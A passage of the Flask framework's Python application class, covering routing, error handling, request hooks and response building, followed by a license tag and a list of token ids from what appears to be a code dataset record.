= c.get('/?vodka=42') assert request.args['vodka'] == '42' See :class:`~flask.testing.FlaskClient` for more information. .. versionchanged:: 0.4 added support for `with` block usage for the client. .. versionadded:: 0.7 The `use_cookies` parameter was added as well as the ability to override the client to be used by setting the :attr:`test_client_class` attribute. """ cls = self.test_client_class if cls is None: from flask.testing import FlaskClient as cls return cls(self, self.response_class, use_cookies=use_cookies) def open_session(self, request): """Creates or opens a new session. Default implementation stores all session data in a signed cookie. This requires that the :attr:`secret_key` is set. Instead of overriding this method we recommend replacing the :class:`session_interface`. :param request: an instance of :attr:`request_class`. """ return self.session_interface.open_session(self, request) def save_session(self, session, response): """Saves the session if it needs updates. For the default implementation, check :meth:`open_session`. Instead of overriding this method we recommend replacing the :class:`session_interface`. :param session: the session to be saved (a :class:`~werkzeug.contrib.securecookie.SecureCookie` object) :param response: an instance of :attr:`response_class` """ return self.session_interface.save_session(self, session, response) def make_null_session(self): """Creates a new instance of a missing session. Instead of overriding this method we recommend replacing the :class:`session_interface`. .. versionadded:: 0.7 """ return self.session_interface.make_null_session(self) def register_module(self, module, **options): """Registers a module with this application. The keyword argument of this function are the same as the ones for the constructor of the :class:`Module` class and will override the values of the module if provided. .. versionchanged:: 0.7 The module system was deprecated in favor for the blueprint system. """ assert blueprint_is_module(module), 'register_module requires ' \ 'actual module objects. Please upgrade to blueprints though.' if not self.enable_modules: raise RuntimeError('Module support was disabled but code ' 'attempted to register a module named %r' % module) else: from warnings import warn warn(DeprecationWarning('Modules are deprecated. Upgrade to ' 'using blueprints. Have a look into the documentation for ' 'more information. If this module was registered by a ' 'Flask-Extension upgrade the extension or contact the author ' 'of that extension instead. (Registered %r)' % module), stacklevel=2) self.register_blueprint(module, **options) @setupmethod def register_blueprint(self, blueprint, **options): """Registers a blueprint on the application. .. versionadded:: 0.7 """ first_registration = False if blueprint.name in self.blueprints: assert self.blueprints[blueprint.name] is blueprint, \ 'A blueprint\'s name collision occurred between %r and ' \ '%r. Both share the same name "%s". Blueprints that ' \ 'are created on the fly need unique names.' % \ (blueprint, self.blueprints[blueprint.name], blueprint.name) else: self.blueprints[blueprint.name] = blueprint first_registration = True blueprint.register(self, options, first_registration) @setupmethod def add_url_rule(self, rule, endpoint=None, view_func=None, **options): """Connects a URL rule. Works exactly like the :meth:`route` decorator. If a view_func is provided it will be registered with the endpoint. Basically this example:: @app.route('/') def index(): pass Is equivalent to the following:: def index(): pass app.add_url_rule('/', 'index', index) If the view_func is not provided you will need to connect the endpoint to a view function like so:: app.view_functions['index'] = index Internally :meth:`route` invokes :meth:`add_url_rule` so if you want to customize the behavior via subclassing you only need to change this method. For more information refer to :ref:`url-route-registrations`. .. versionchanged:: 0.2 `view_func` parameter added. .. versionchanged:: 0.6 `OPTIONS` is added automatically as method. :param rule: the URL rule as string :param endpoint: the endpoint for the registered URL rule. Flask itself assumes the name of the view function as endpoint :param view_func: the function to call when serving a request to the provided endpoint :param options: the options to be forwarded to the underlying :class:`~werkzeug.routing.Rule` object. A change to Werkzeug is handling of method options. methods is a list of methods this rule should be limited to (`GET`, `POST` etc.). By default a rule just listens for `GET` (and implicitly `HEAD`). Starting with Flask 0.6, `OPTIONS` is implicitly added and handled by the standard request handling. """ if endpoint is None: endpoint = _endpoint_from_view_func(view_func) options['endpoint'] = endpoint methods = options.pop('methods', None) # if the methods are not given and the view_func object knows its # methods we can use that instead. If neither exists, we go with # a tuple of only `GET` as default. if methods is None: methods = getattr(view_func, 'methods', None) or ('GET',) methods = set(methods) # Methods that should always be added required_methods = set(getattr(view_func, 'required_methods', ())) # starting with Flask 0.8 the view_func object can disable and # force-enable the automatic options handling. provide_automatic_options = getattr(view_func, 'provide_automatic_options', None) if provide_automatic_options is None: if 'OPTIONS' not in methods: provide_automatic_options = True required_methods.add('OPTIONS') else: provide_automatic_options = False # Add the required methods now. methods |= required_methods # due to a werkzeug bug we need to make sure that the defaults are # None if they are an empty dictionary. This should not be necessary # with Werkzeug 0.7 options['defaults'] = options.get('defaults') or None rule = self.url_rule_class(rule, methods=methods, **options) rule.provide_automatic_options = provide_automatic_options self.url_map.add(rule) if view_func is not None: old_func = self.view_functions.get(endpoint) if old_func is not None and old_func != view_func: raise AssertionError('View function mapping is overwriting an ' 'existing endpoint function: %s' % endpoint) self.view_functions[endpoint] = view_func def route(self, rule, **options): """A decorator that is used to register a view function for a given URL rule. This does the same thing as :meth:`add_url_rule` but is intended for decorator usage:: @app.route('/') def index(): return 'Hello World' For more information refer to :ref:`url-route-registrations`. :param rule: the URL rule as string :param endpoint: the endpoint for the registered URL rule. Flask itself assumes the name of the view function as endpoint :param options: the options to be forwarded to the underlying :class:`~werkzeug.routing.Rule` object. A change to Werkzeug is handling of method options. methods is a list of methods this rule should be limited to (`GET`, `POST` etc.). By default a rule just listens for `GET` (and implicitly `HEAD`). Starting with Flask 0.6, `OPTIONS` is implicitly added and handled by the standard request handling. """ def decorator(f): endpoint = options.pop('endpoint', None) self.add_url_rule(rule, endpoint, f, **options) return f return decorator @setupmethod def endpoint(self, endpoint): """A decorator to register a function as an endpoint. Example:: @app.endpoint('example.endpoint') def example(): return "example" :param endpoint: the name of the endpoint """ def decorator(f): self.view_functions[endpoint] = f return f return decorator @setupmethod def errorhandler(self, code_or_exception): """A decorator that is used to register a function give a given error code. Example:: @app.errorhandler(404) def page_not_found(error): return 'This page does not exist', 404 You can also register handlers for arbitrary exceptions:: @app.errorhandler(DatabaseError) def special_exception_handler(error): return 'Database connection failed', 500 You can also register a function as error handler without using the :meth:`errorhandler` decorator. The following example is equivalent to the one above:: def page_not_found(error): return 'This page does not exist', 404 app.error_handler_spec[None][404] = page_not_found Setting error handlers via assignments to :attr:`error_handler_spec` however is discouraged as it requires fiddling with nested dictionaries and the special case for arbitrary exception types. The first `None` refers to the active blueprint. If the error handler should be application wide `None` shall be used. .. versionadded:: 0.7 One can now additionally also register custom exception types that do not necessarily have to be a subclass of the :class:`~werkzeug.exceptions.HTTPException` class. :param code: the code as integer for the handler """ def decorator(f): self._register_error_handler(None, code_or_exception, f) return f return decorator def register_error_handler(self, code_or_exception, f): """Alternative error attach function to the :meth:`errorhandler` decorator that is more straightforward to use for non decorator usage. .. versionadded:: 0.7 """ self._register_error_handler(None, code_or_exception, f) @setupmethod def _register_error_handler(self, key, code_or_exception, f): if isinstance(code_or_exception, HTTPException): code_or_exception = code_or_exception.code if isinstance(code_or_exception, integer_types): assert code_or_exception != 500 or key is None, \ 'It is currently not possible to register a 500 internal ' \ 'server error on a per-blueprint level.' self.error_handler_spec.setdefault(key, {})[code_or_exception] = f else: self.error_handler_spec.setdefault(key, {}).setdefault(None, []) \ .append((code_or_exception, f)) @setupmethod def template_filter(self, name=None): """A decorator that is used to register custom template filter. You can specify a name for the filter, otherwise the function name will be used. Example:: @app.template_filter() def reverse(s): return s[::-1] :param name: the optional name of the filter, otherwise the function name will be used. """ def decorator(f): self.add_template_filter(f, name=name) return f return decorator @setupmethod def add_template_filter(self, f, name=None): """Register a custom template filter. Works exactly like the :meth:`template_filter` decorator. :param name: the optional name of the filter, otherwise the function name will be used. """ self.jinja_env.filters[name or f.__name__] = f @setupmethod def template_test(self, name=None): """A decorator that is used to register custom template test. You can specify a name for the test, otherwise the function name will be used. Example:: @app.template_test() def is_prime(n): if n == 2: return True for i in range(2, int(math.ceil(math.sqrt(n))) + 1): if n % i == 0: return False return True .. versionadded:: 0.10 :param name: the optional name of the test, otherwise the function name will be used. """ def decorator(f): self.add_template_test(f, name=name) return f return decorator @setupmethod def add_template_test(self, f, name=None): """Register a custom template test. Works exactly like the :meth:`template_test` decorator. .. versionadded:: 0.10 :param name: the optional name of the test, otherwise the function name will be used. """ self.jinja_env.tests[name or f.__name__] = f @setupmethod def template_global(self, name=None): """A decorator that is used to register a custom template global function. You can specify a name for the global function, otherwise the function name will be used. Example:: @app.template_global() def double(n): return 2 * n .. versionadded:: 0.10 :param name: the optional name of the global function, otherwise the function name will be used. """ def decorator(f): self.add_template_global(f, name=name) return f return decorator @setupmethod def add_template_global(self, f, name=None): """Register a custom template global function. Works exactly like the :meth:`template_global` decorator. .. versionadded:: 0.10 :param name: the optional name of the global function, otherwise the function name will be used. """ self.jinja_env.globals[name or f.__name__] = f @setupmethod def before_request(self, f): """Registers a function to run before each request.""" self.before_request_funcs.setdefault(None, []).append(f) return f @setupmethod def before_first_request(self, f): """Registers a function to be run before the first request to this instance of the application. .. versionadded:: 0.8 """ self.before_first_request_funcs.append(f) @setupmethod def after_request(self, f): """Register a function to be run after each request. Your function must take one parameter, a :attr:`response_class` object and return a new response object or the same (see :meth:`process_response`). As of Flask 0.7 this function might not be executed at the end of the request in case an unhandled exception occurred. """ self.after_request_funcs.setdefault(None, []).append(f) return f @setupmethod def teardown_request(self, f): """Register a function to be run at the end of each request, regardless of whether there was an exception or not. These functions are executed when the request context is popped, even if not an actual request was performed. Example:: ctx = app.test_request_context() ctx.push() ... ctx.pop() When ``ctx.pop()`` is executed in the above example, the teardown functions are called just before the request context moves from the stack of active contexts. This becomes relevant if you are using such constructs in tests. Generally teardown functions must take every necessary step to avoid that they will fail. If they do execute code that might fail they will have to surround the execution of these code by try/except statements and log occurring errors. When a teardown function was called because of a exception it will be passed an error object. .. admonition:: Debug Note In debug mode Flask will not tear down a request on an exception immediately. Instead if will keep it alive so that the interactive debugger can still access it. This behavior can be controlled by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable. """ self.teardown_request_funcs.setdefault(None, []).append(f) return f @setupmethod def teardown_appcontext(self, f): """Registers a function to be called when the application context ends. These functions are typically also called when the request context is popped. Example:: ctx = app.app_context() ctx.push() ... ctx.pop() When ``ctx.pop()`` is executed in the above example, the teardown functions are called just before the app context moves from the stack of active contexts. This becomes relevant if you are using such constructs in tests. Since a request context typically also manages an application context it would also be called when you pop a request context. When a teardown function was called because of an exception it will be passed an error object. .. versionadded:: 0.9 """ self.teardown_appcontext_funcs.append(f) return f @setupmethod def context_processor(self, f): """Registers a template context processor function.""" self.template_context_processors[None].append(f) return f @setupmethod def url_value_preprocessor(self, f): """Registers a function as URL value preprocessor for all view functions of the application. It's called before the view functions are called and can modify the url values provided. """ self.url_value_preprocessors.setdefault(None, []).append(f) return f @setupmethod def url_defaults(self, f): """Callback function for URL defaults for all view functions of the application. It's called with the endpoint and values and should update the values passed in place. """ self.url_default_functions.setdefault(None, []).append(f) return f def handle_http_exception(self, e): """Handles an HTTP exception. By default this will invoke the registered error handlers and fall back to returning the exception as response. .. versionadded:: 0.3 """ handlers = self.error_handler_spec.get(request.blueprint) # Proxy exceptions don't have error codes. We want to always return # those unchanged as errors if e.code is None: return e if handlers and e.code in handlers: handler = handlers[e.code] else: handler = self.error_handler_spec[None].get(e.code) if handler is None: return e return handler(e) def trap_http_exception(self, e): """Checks if an HTTP exception should be trapped or not. By default this will return `False` for all exceptions except for a bad request key error if ``TRAP_BAD_REQUEST_ERRORS`` is set to `True`. It also returns `True` if ``TRAP_HTTP_EXCEPTIONS`` is set to `True`. This is called for all HTTP exceptions raised by a view function. If it returns `True` for any exception the error handler for this exception is not called and it shows up as regular exception in the traceback. This is helpful for debugging implicitly raised HTTP exceptions. .. versionadded:: 0.8 """ if self.config['TRAP_HTTP_EXCEPTIONS']: return True if self.config['TRAP_BAD_REQUEST_ERRORS']: return isinstance(e, BadRequest) return False def handle_user_exception(self, e): """This method is called whenever an exception occurs that should be handled. A special case are :class:`~werkzeug.exception.HTTPException`\s which are forwarded by this function to the :meth:`handle_http_exception` method. This function will either return a response value or reraise the exception with the same traceback. .. versionadded:: 0.7 """ exc_type, exc_value, tb = sys.exc_info() assert exc_value is e # ensure not to trash sys.exc_info() at that point in case someone # wants the traceback preserved in handle_http_exception. Of course # we cannot prevent users from trashing it themselves in a custom # trap_http_exception method so that's their fault then. if isinstance(e, HTTPException) and not self.trap_http_exception(e): return self.handle_http_exception(e) blueprint_handlers = () handlers = self.error_handler_spec.get(request.blueprint) if handlers is not None: blueprint_handlers = handlers.get(None, ()) app_handlers = self.error_handler_spec[None].get(None, ()) for typecheck, handler in chain(blueprint_handlers, app_handlers): if isinstance(e, typecheck): return handler(e) reraise(exc_type, exc_value, tb) def handle_exception(self, e): """Default exception handling that kicks in when an exception occurs that is not caught. In debug mode the exception will be re-raised immediately, otherwise it is logged and the handler for a 500 internal server error is used. If no such handler exists, a default 500 internal server error message is displayed. .. versionadded:: 0.3 """ exc_type, exc_value, tb = sys.exc_info() got_request_exception.send(self, exception=e) handler = self.error_handler_spec[None].get(500) if self.propagate_exceptions: # if we want to repropagate the exception, we can attempt to # raise it with the whole traceback in case we can do that # (the function was actually called from the except part) # otherwise, we just raise the error again if exc_value is e: reraise(exc_type, exc_value, tb) else: raise e self.log_exception((exc_type, exc_value, tb)) if handler is None: return InternalServerError() return handler(e) def log_exception(self, exc_info): """Logs an exception. This is called by :meth:`handle_exception` if debugging is disabled and right before the handler is called. The default implementation logs the exception as error on the :attr:`logger`. .. versionadded:: 0.8 """ self.logger.error('Exception on %s [%s]' % ( request.path, request.method ), exc_info=exc_info) def raise_routing_exception(self, request): """Exceptions that are recording during routing are reraised with this method. During debug we are not reraising redirect requests for non ``GET``, ``HEAD``, or ``OPTIONS`` requests and we're raising a different error instead to help debug situations. :internal: """ if not self.debug \ or not isinstance(request.routing_exception, RequestRedirect) \ or request.method in ('GET', 'HEAD', 'OPTIONS'): raise request.routing_exception from .debughelpers import FormDataRoutingRedirect raise FormDataRoutingRedirect(request) def dispatch_request(self): """Does the request dispatching. Matches the URL and returns the return value of the view or error handler. This does not have to be a response object. In order to convert the return value to a proper response object, call :func:`make_response`. .. versionchanged:: 0.7 This no longer does the exception handling, this code was moved to the new :meth:`full_dispatch_request`. """ req = _request_ctx_stack.top.request if req.routing_exception is not None: self.raise_routing_exception(req) rule = req.url_rule # if we provide automatic options for this URL and the # request came with the OPTIONS method, reply automatically if getattr(rule, 'provide_automatic_options', False) \ and req.method == 'OPTIONS': return self.make_default_options_response() # otherwise dispatch to the handler for that endpoint return self.view_functions[rule.endpoint](**req.view_args) def full_dispatch_request(self): """Dispatches the request and on top of that performs request pre and postprocessing as well as HTTP exception catching and error handling. .. versionadded:: 0.7 """ self.try_trigger_before_first_request_functions() try: request_started.send(self) rv = self.preprocess_request() if rv is None: rv = self.dispatch_request() except Exception as e: rv = self.handle_user_exception(e) response = self.make_response(rv) response = self.process_response(response) request_finished.send(self, response=response) return response def try_trigger_before_first_request_functions(self): """Called before each request and will ensure that it triggers the :attr:`before_first_request_funcs` and only exactly once per application instance (which means process usually). :internal: """ if self._got_first_request: return with self._before_request_lock: if self._got_first_request: return self._got_first_request = True for func in self.before_first_request_funcs: func() def make_default_options_response(self): """This method is called to create the default `OPTIONS` response. This can be changed through subclassing to change the default behavior of `OPTIONS` responses. .. versionadded:: 0.7 """ adapter = _request_ctx_stack.top.url_adapter if hasattr(adapter, 'allowed_methods'): methods = adapter.allowed_methods() else: # fallback for Werkzeug < 0.7 methods = [] try: adapter.match(method='--') except MethodNotAllowed as e: methods = e.valid_methods except HTTPException as e: pass rv = self.response_class() rv.allow.update(methods) return rv def should_ignore_error(self, error): """This is called to figure out if an error should be ignored or not as far as the teardown system is concerned. If this function returns `True` then the teardown handlers will not be passed the error. .. versionadded:: 0.10 """ return False def make_response(self, rv): """Converts the return value from a view function to a real response object that is an instance of :attr:`response_class`. The following types are allowed for `rv`: .. tabularcolumns:: |p{3.5cm}|p{9.5cm}| ======================= =========================================== :attr:`response_class` the object is returned unchanged :class:`str` a response object is created with the string as body :class:`unicode` a response object is created with the string encoded to utf-8 as body a WSGI function the function is called as WSGI application and buffered as response object :class:`tuple` A tuple in the form ``(response, status, headers)`` where `response` is any of the types defined here, `status` is a string or an integer and `headers` is a list of a dictionary with header values. ======================= =========================================== :param rv: the return value from the view function .. versionchanged:: 0.9 Previously a tuple was interpreted as the arguments for the response object. """ status = headers = None if isinstance(rv, tuple): rv, status, headers = rv + (None,) * (3 - len(rv)) if rv is None: raise ValueError('View function did not return a response') if not isinstance(rv, self.response_class): # When we create a response object directly, we let the constructor # set the headers and status. We do this because there can be # some extra logic involved when creating these objects with # specific values (like default content type selection). if isinstance(rv, (text_type, bytes, bytearray)): rv = self.response_class(rv, headers=headers, status=status) headers = status = None else: rv = self.response_class.force_type(rv, request.environ) if status is not None: if isinstance(status, string_types): rv.status = status else: rv.status_code = status if headers: rv.headers.extend(headers) return rv def create_url_adapter(self, request): """Creates a URL adapter for the given request. The URL adapter is created at a point where the request context is not yet set up so the request is passed explicitly. .. versionadded:: 0.6 .. versionchanged:: 0.9 This can now also be called without a request object when the URL adapter is created for the application context. """ if request is not None: return self.url_map.bind_to_environ(request.environ, server_name=self.config['SERVER_NAME']) # We need at the very least the server name to be set for this # to work. if self.config['SERVER_NAME'] is not None: return self.url_map.bind( self.config['SERVER_NAME'], script_name=self.config['APPLICATION_ROOT'] or '/', url_scheme=self.config['PREFERRED_URL_SCHEME']) def inject_url_defaults(self, endpoint, values): """Injects the URL defaults for the given endpoint directly into the values dictionary passed. This is used internally and automatically called on URL building. .. versionadded:: 0.7 """ funcs = self.url_default_functions.get(None, ()) if '.' in endpoint: bp = endpoint.rsplit('.', 1)[0] funcs = chain(funcs, self.url_default_functions.get(bp, ())) for func in funcs: func(endpoint, values) def handle_url_build_error(self, error, endpoint, values): """Handle :class:`~werkzeug.routing.BuildError` on :meth:`url_for`. """ exc_type, exc_value, tb = sys.exc_info() for handler in self.url_build_error_handlers: try: rv = handler(error, endpoint, values) if rv is not None: return rv except BuildError as error: pass # At this point we want to reraise the exception. If the error is # still the same one we can reraise it with the original traceback, # otherwise we raise it from here. if error is exc_value: reraise(exc_type, exc_value, tb) raise error def preprocess_request(self): """Called before the actual request dispatching and will call every as :meth:`before_request` decorated function. If any of these function returns a value it's handled as if it was the return value from the view and further request handling is stopped. This also triggers the :meth:`url_value_processor` functions before the actual :meth:`before_request` functions are called. """ bp = _request_ctx_stack.top.request.blueprint funcs = self.url_value_preprocessors.get(None, ()) if bp is not None and bp in self.url_value_preprocessors: funcs = chain(funcs, self.url_value_preprocessors[bp]) for func in funcs: func(request.endpoint, request.view_args) funcs = self.before_request_funcs.get(None, ()) if bp is not None and bp in self.before_request_funcs: funcs = chain(funcs, self.before_request_funcs[bp]) for func in funcs: rv = func() if rv is not None: return rv def process_response(self, response): """Can be overridden in order to modify the response object before it's sent to the WSGI server. By default this will call all the :meth:`after_request` decorated functions. .. versionchanged:: 0.5 As of Flask 0.5 the functions registered for after request execution are called in reverse order of registration. :param response: a :attr:`response_class` object. :return: a new response object or the same, has to be an instance of :attr:`response_class`. """ ctx = _request_ctx_stack.top bp = ctx.request.blueprint funcs = ctx._after_request_functions if bp is not None and bp in self.after_request_funcs: funcs = chain(funcs, reversed(self.after_request_funcs[bp])) if None in self.after_request_funcs: funcs = chain(funcs, reversed(self.after_request_funcs[None])) for handler in funcs: response = handler(response) if not self.session_interface.is_null_session(ctx.session): self.save_session(ctx.session, response) return response def do_teardown_request(self, exc=None): """Called after the actual request dispatching and will call every as :meth:`teardown_request` decorated function. This is not actually called by the :class:`Flask` object itself but is always triggered when the request context is popped. That way we have a tighter control over certain resources under testing environments. .. versionchanged:: 0.9 Added the `exc` argument. Previously this was always using the current exception information. """ if exc is None: exc = sys.exc_info()[1] funcs = reversed(self.teardown_request_funcs.get(None, ())) bp = _request_ctx_stack.top.request.blueprint if bp is not None and bp in self.teardown_request_funcs: funcs = chain(funcs, reversed(self.teardown_request_funcs[bp])) for func in funcs: rv = func(exc) request_tearing_down.send(self, exc=exc) def do_teardown_appcontext(self, exc=None): """Called when an application context is popped. This works pretty much the same as :meth:`do_teardown_request` but for the application context. .. versionadded:: 0.9 """ if exc is None: exc = sys.exc_info()[1] for func in reversed(self.teardown_appcontext_funcs): func(exc) appcontext_tearing_down.send(self, exc=exc) def app_context(self): """Binds the application only. For as long as the application is bound to the current context the :data:`flask.current_app` points to that application. An application context is automatically created when a request context is pushed if necessary. Example usage:: with app.app_context(): ... .. versionadded:: 0.9 """ return AppContext(self) def request_context(self, environ): """Creates a :class:`~flask.ctx.RequestContext` from the given environment and binds it to the current context. This must be used in combination with the `with` statement because the request is only bound to the current context for the duration of the `with` block. Example usage:: with app.request_context(environ): do_something_with(request) The object returned can also be used without the `with` statement which is useful for working in the shell. The example above is doing exactly the same as this code:: ctx = app.request_context(environ) ctx.push() try: do_something_with(request) finally: ctx.pop() .. versionchanged:: 0.3 Added support for non-with statement usage and `with` statement is now passed the ctx object. :param environ: a WSGI environment """ return RequestContext(self, environ) def test_request_context(self, *args, **kwargs): """Creates a WSGI environment from the given values (see :func:`werkzeug.test.EnvironBuilder` for more information, this function accepts the same arguments). """ from flask.testing import make_test_environ_builder builder = make_test_environ_builder(self, *args, **kwargs) try: return self.request_context(builder.get_environ()) finally: builder.close() def wsgi_app(self, environ, start_response): """The actual WSGI application. This is not implemented in `__call__` so that middlewares can be applied without losing a reference to the class. So instead of doing this:: app = MyMiddleware(app) It's a better idea to do this instead:: app.wsgi_app = MyMiddleware(app.wsgi_app) Then you still have the original application object around and can continue to call methods on it. .. versionchanged:: 0.7 The behavior of the before and after request callbacks was changed under error conditions and a new callback was added that will always execute at the end of the request, independent on if an error occurred or not. See :ref:`callbacks-and-errors`. :param environ: a WSGI environment :param start_response: a callable accepting a status code, a list of headers and an optional exception context to start the response """ ctx = self.request_context(environ) ctx.push() error = None try: try: response = self.full_dispatch_request() except Exception as e: error = e response = self.make_response(self.handle_exception(e)) return response(environ, start_response) finally: if self.should_ignore_error(error): error = None ctx.auto_pop(error) @property def modules(self): from warnings import warn warn(DeprecationWarning('Flask.modules is deprecated, use ' 'Flask.blueprints instead'), stacklevel=2) return self.blueprints def __call__(self, environ, start_response): """Shortcut for :attr:`wsgi_app`.""" return self.wsgi_app(environ, start_response) def __repr__(self): return '<%s %r>' % ( self.__class__.__name__, self.name, )
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 571, 272, 221, 4919, 94, 339, 961, 859, 9031, 314, 18796, 9279, 4223, 909, 14, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 646, 747, 199, 646, 984, 199, 504, 5796, 492, 15536, 199, 504, 2197, 492, 6871, 199, 504, 7975, 492, 6036, 199, 504, 9143, 492, 1678, 63, 5029, 199, 199, 504, 10380, 14, 23004, 492, 25609, 2141, 199, 504, 10380, 14, 9492, 492, 9672, 12, 11949, 12, 4784, 7071, 12, 6516, 547, 199, 504, 10380, 14, 3924, 492, 28185, 12, 12624, 17692, 12, 971, 1362, 9075, 29967, 12, 8857, 2017, 199, 199, 504, 1275, 7546, 492, 485, 8599, 8934, 1692, 12, 1166, 63, 509, 12, 664, 63, 11331, 379, 63, 3431, 12, 971, 1362, 14233, 63, 5245, 63, 1829, 12, 485, 6520, 63, 504, 63, 1345, 63, 1532, 12, 2342, 63, 2491, 199, 504, 1275, 492, 2022, 199, 504, 1275, 21148, 492, 4784, 12, 7232, 199, 504, 1275, 888, 492, 4094, 1646, 12, 4094, 199, 504, 1275, 3799, 492, 22538, 12, 4693, 2998, 12, 485, 2640, 35, 2347, 21675, 199, 504, 1275, 8473, 492, 485, 1069, 63, 3799, 63, 2340, 12, 1056, 12, 2351, 12, 486, 199, 504, 1275, 11676, 492, 30894, 7810, 4434, 4267, 199, 504, 1275, 578, 492, 16808, 63, 374, 63, 578, 199, 504, 1275, 808, 24615, 492, 28626, 316, 42, 4135, 5455, 12, 9711, 12, 971, 1362, 485, 885, 63, 1160, 63, 3799, 63, 6459, 199, 504, 1275, 10458, 492, 1056, 63, 8924, 12, 1056, 63, 8669, 12, 4788, 63, 1069, 63, 1971, 12, 971, 1362, 1056, 63, 266, 9332, 63, 2110, 12, 1145, 1100, 63, 266, 9332, 63, 2110, 199, 504, 13653, 5819, 492, 24139, 12, 1059, 63, 1313, 12, 1318, 63, 466, 12, 3000, 63, 1313, 199, 199, 3, 282, 4650, 1202, 367, 2512, 11097, 199, 63, 2921, 63, 831, 275, 15536, 342, 421, 199, 318, 485, 1875, 63, 7473, 8, 585, 304, 272, 340, 440, 1228, 8, 585, 12, 6871, 304, 267, 372, 6871, 8, 4515, 29, 585, 9, 272, 372, 574, 421, 199, 318, 3272, 765, 8, 70, 304, 272, 408, 55, 8146, 282, 1083, 880, 626, 652, 18628, 282, 1104, 315, 3105, 818, 340, 314, 272, 1642, 1056, 1990, 2575, 8860, 14, 272, 408, 272, 347, 4975, 63, 1532, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1757, 436, 291, 423, 7808, 63, 2246, 63, 1069, 26, 288, 746, 9070, 360, 33, 3272, 805, 1990, 2797, 2410, 314, 283, 355, 283, 2246, 1056, 1990, 8860, 14, 221, 961, 9987, 9126, 282, 6519, 283, 355, 283, 262, 314, 4223, 2382, 282, 859, 1990, 440, 8439, 283, 355, 283, 460, 20419, 503, 1163, 9330, 1990, 2797, 4634, 2465, 3134, 78, 7, 355, 283, 1378, 5325, 642, 1852, 3238, 370, 492, 1006, 2195, 2455, 4621, 12, 283, 355, 283, 4659, 1709, 436, 8137, 4048, 737, 282, 18796, 4192, 283, 355, 283, 5182, 314, 4223, 9174, 22701, 4145, 2659, 267, 372, 289, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 272, 372, 1678, 63, 5029, 8, 5029, 63, 1532, 12, 289, 9, 421, 199, 533, 16704, 1547, 8599, 8934, 1692, 304, 272, 408, 1918, 7209, 909, 9031, 282, 9279, 4223, 436, 17795, 465, 314, 18796, 272, 909, 14, 221, 2779, 365, 3032, 314, 536, 402, 314, 859, 503, 2559, 402, 314, 272, 4223, 14, 221, 19468, 652, 365, 2737, 652, 911, 2454, 465, 282, 18796, 7086, 367, 272, 314, 2455, 3423, 12, 314, 2851, 4713, 12, 1978, 2897, 436, 8298, 1655, 14, 339, 710, 536, 402, 314, 2559, 365, 1202, 370, 7512, 5944, 687, 6272, 314, 272, 2559, 503, 314, 4922, 314, 859, 365, 10470, 315, 10298, 641, 340, 314, 272, 2559, 2725, 32253, 370, 376, 3503, 2366, 2559, 334, 65, 4922, 543, 272, 376, 26856, 826, 4343, 647, 64, 570, 6272, 9, 503, 282, 4465, 859, 334, 4764, 282, 19853, 647, 64, 570, 680, 339, 2104, 1655, 2556, 3595, 2073, 8697, 12, 1937, 520, 1532, 1705, 1490, 63, 1927, 2313, 339, 24612, 1265, 1218, 282, 520, 533, 1705, 14182, 64, 1256, 315, 2195, 2446, 859, 503, 272, 315, 314, 26856, 826, 4343, 647, 64, 570, 402, 2195, 2559, 2839, 642, 447, 398, 687, 7209, 492, 16704, 267, 1145, 275, 16704, 3460, 354, 3368, 339, 2508, 1503, 31722, 447, 25225, 314, 7758, 12009, 398, 710, 16819, 402, 314, 1642, 2725, 365, 370, 8120, 16704, 376, 16819, 4052, 267, 15006, 370, 2195, 4223, 14, 221, 961, 536, 365, 1202, 370, 2342, 5944, 267, 641, 314, 570, 2656, 12, 883, 506, 1202, 701, 5478, 370, 19053, 10201, 267, 2556, 436, 282, 13918, 1655, 14, 398, 2002, 652, 1159, 11012, 4052, 1265, 5647, 2337, 14, 221, 982, 1265, 787, 1808, 282, 2849, 267, 859, 12, 26856, 354, 29341, 365, 3544, 314, 3211, 574, 14, 221, 982, 1265, 13432, 787, 267, 1808, 282, 2559, 12, 652, 1159, 9987, 14318, 370, 7508, 600, 314, 536, 402, 267, 2195, 2559, 2337, 14, 398, 2104, 2893, 340, 2195, 4223, 365, 3247, 315, 658, 12695, 3578, 15, 571, 14, 647, 64, 267, 1265, 1077, 1218, 652, 543, 1373, 402, 314, 2877, 5459, 5084, 447, 953, 1145, 275, 16704, 360, 12695, 3578, 358, 288, 1145, 275, 16704, 3460, 354, 4343, 1294, 19237, 16, 566, 398, 6827, 365, 626, 31, 221, 710, 4223, 911, 1736, 2755, 543, 26856, 354, 363, 3559, 2419, 6080, 267, 370, 4212, 5944, 787, 21182, 1536, 14, 221, 9738, 652, 911, 1852, 10201, 1655, 267, 691, 262, 1893, 14, 221, 11002, 877, 5478, 883, 1852, 21546, 4079, 641, 314, 267, 492, 536, 402, 2195, 4223, 14, 221, 2104, 2893, 314, 16704, 13, 4657, 12800, 267, 3329, 911, 3648, 367, 314, 1233, 315, 2195, 4223, 626, 15572, 267, 376, 5385, 1827, 315, 3105, 818, 14, 221, 982, 314, 492, 536, 365, 440, 7684, 663, 267, 1536, 12, 626, 10201, 2556, 365, 14669, 14, 221, 334, 1858, 2893, 652, 3955, 1454, 267, 3732, 1536, 5385, 9212, 315, 658, 12695, 3578, 14, 571, 64, 436, 440, 267, 658, 12695, 3578, 14, 4196, 14, 18062, 10522 ]
